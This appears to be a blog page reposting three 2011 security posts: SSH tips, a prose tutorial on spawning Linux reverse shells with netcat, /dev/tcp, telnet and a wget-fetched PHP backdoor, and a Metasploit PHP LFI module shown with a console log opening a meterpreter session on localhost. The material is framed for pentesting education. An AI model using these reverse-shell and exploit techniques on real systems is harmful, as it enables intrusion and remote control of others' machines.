This command sequence allows simple setup of (gasp!) password-less SSH logins. Be careful, as if you already have an SSH keypair in your ~/.ssh directory on the local machine, there is a possibility ssh-keygen may overwrite them. ssh-copy-id copies the public key to the remote host and appends it to the remote account’s ~/.ssh/authorized_keys file. When trying ssh, if you used no passphrase for your key, the remote shell appears soon after invoking ssh user@host.

25) COPY STDIN TO YOUR X11 BUFFER
ssh user@host cat /path/to/some/file | xclip

Have you ever had to scp a file to your work machine in order to copy its contents to a mail? xclip can help you with that. It copies its stdin to the X11 buffer, so all you have to do is middle-click to paste the content of that looong file :)

Have Fun
source : http://www.subhashdasyam.com/2011/05/25-best-ssh-commands-tricks.html

7 Linux Shells Using Built-in Tools



There are many distributions of linux, and they all do things a little different regarding default security and built-in tool sets. Which means when engaging these different flavors during a pentest, what works against one linux target to get an interactive shell, may not work against another. Well, not to worry my friends, there are many techniques for spawning shells, specifically reverse shells, from linux, and one or more of these techniques is bound to be available no matter which distro you’re looking at.

The scenario is this: You have the ability to run a simple command, or cause a user to run a simple command, on the target system. Whether it be via a Remote Command Execution vulnerability in a website, or some sort of php injected XSS which causes a privileged user to run commands on the target system. There are many instances of this scenario. Starting from the easiest and most common, here are some of the techniques which can be used to gain reverse shell on the target system.

#1. netcat:
Surprise!!! Nothing new here. Plain and simple. Fire up a listener on the attacker machine on a port which is reachable from the target and connect back to the listener with netcat. Looks like this.



…just kidding…



#2. netcat with GAPING_SECURITY_HOLE disabled:
This is a little trick that Ed Skoudis tweeted about in November of last year, but I haven’t seen it widely publicized. It is based on the common technique used to build netcat relays. When the GAPING_SECURITY_HOLE is disabled, which means you don’t have access to the ‘-e’ option of netcat, most people pass on using netcat and move to something else. Well this just isn’t necessary. Create a FIFO file system object and use it as a backpipe to relay standard output from commands piped from netcat to /bin/bash back into netcat. Sounds confusing right? The following image should clear things up.



#3. netcat without netcat:
I love “hacks” that use features of the operating system against itself. This is one of those “hacks”. It takes the /dev/tcp socket programming feature and uses it to redirect /bin/bash to a remote system. It’s not always available, but can be quite handy when it is.



#4. netcat without netcat or /dev/tcp:
/dev/tcp not available either? Just use telnet with technique #2.



telnet-to-telnet:
I’m not sure why you’d use this technique, but it’s an option, so here it is nonetheless. This is clearly the ugliest of the techniques. This technique uses two telnet sessions connected to remote listeners to pipe input from one telnet session to /bin/bash, and pipe the output to the second telnet session. Commands are entered into one the of the attackers listeners and feedback is received on the other.



#6. RCE shell:
On this one I’m cheating a little bit. This applies to Remote Command Execution vulnerabilities only. Rather than manually enter commands into a proxy or browser url, I wrote small python script which gives you the feel of a shell, without spawning anything in reverse from the target. You merely pass the script the vulnerable url with the injectable field replaced with the ‘<rce>’ tag and it presents you with a clean interface for entering commands. In the background, the script is making the request to the web server, parsing the response, and presenting it to you.



#7. PHP reverse shell via interactive console:
The last technique makes use of the php interactive console. The attacker issues one command which moves to the /tmp directory (because it is typically world writable), uses wget to download a malicious php reverse_tcp backdoor (which the attacker hosts on a web server that he controls), and executes the backdoor via the interactive console.



I want to end this post by stating that I am not the originator of techniques #1, 2, 3, 5, or 7. The majority of these techniques were learned in Ed Skoudis’ amazing Security 504 and 560 classes available through SANS. Technique #4 is something I’ve never seen but stumbled across as I was conducting the demos for this post, so I’ll take credit. Obviously, anyone can do #6, and there are plugins for various automated web app testing software packages that do, but I built my script from the ground up and tailored it to preference. If you know of any additional methods that may be helpful to the pentesting community, please leave in the comments below. Without sharing, we all fail. Thanks, and enjoy!

Source : http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Metasploit PHP LFI exploit module



Last week I wrote a simple exploit module for Metasploit to attack PHP applications with LFI vulnerabilities.

It uses php://input to inject the code or the webserver logs in other case.

If I had time, I would like to implement some tricks,  like injection PHP code in the SSH logs or the e-mail server logs, but it is not possible by now :)

Note: It is really buggy and the injection may not be successful, depending on the length of the payload. Please remember that PHP limits the size of the POST message and a long payload may be cut. The same problem applies to the log file injection.

msf exploit(handler) > use exploit/unix/webapp/php_lfi
msf exploit(php_lfi) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(php_lfi) > set RPORT 8181
RPORT => 8181
msf exploit(php_lfi) > set URI /index.php?foo=xxLFIxx
URI => /index.php?foo=xxLFIxx

msf exploit(php_lfi) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp
msf exploit(php_lfi) > exploit -z


[*] Started bind handler
[*] Trying generic exploits
[*] Clean LFI injection
[*] Sending stage (31612 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:19412 -> 127.0.0.1:4444) at Tue May 24 14:47:29 +0200 2011

C[-] Exploit exception: Interrupt
[*] Session 10 created in the background.
msf exploit(php_lfi) > sessions -i 1
[*] Starting interaction with 1…



meterpreter > ls


Listing: /usr/home/test/cherokee/www
=====================================


Mode              Size  Type  Last modified                   Name
—-              —-  —-  ————-                   —-
100644/rw-r–r–  0     fil   Tue May 10 11:09:39 +0200 2011  foo.php
40755/rwxr-xr-x   512   dir   Tue May 10 10:53:59 +0200 2011  images
100644/rw-r–r–  1795  fil   Tue May 10 10:19:23 +0200 2011  index.html
100644/rw-r–r–  37    fil   Tue May 10 13:52:25 +0200 2011  index.php



meterpreter > sysinfo  
OS          : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011     root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
Computer    : redphantom.skynet.ct
Meterpreter : php/php  
meterpreter > exit

Source : http://www.shellguardians.com/2011/05/metasploit-php-lfi-exploit-module.html

 
2012 upshell | Header Image by Game Wallpapers
Avatar Gamezine Designed by Cheapest Tablet PC
Supported by Phones 4u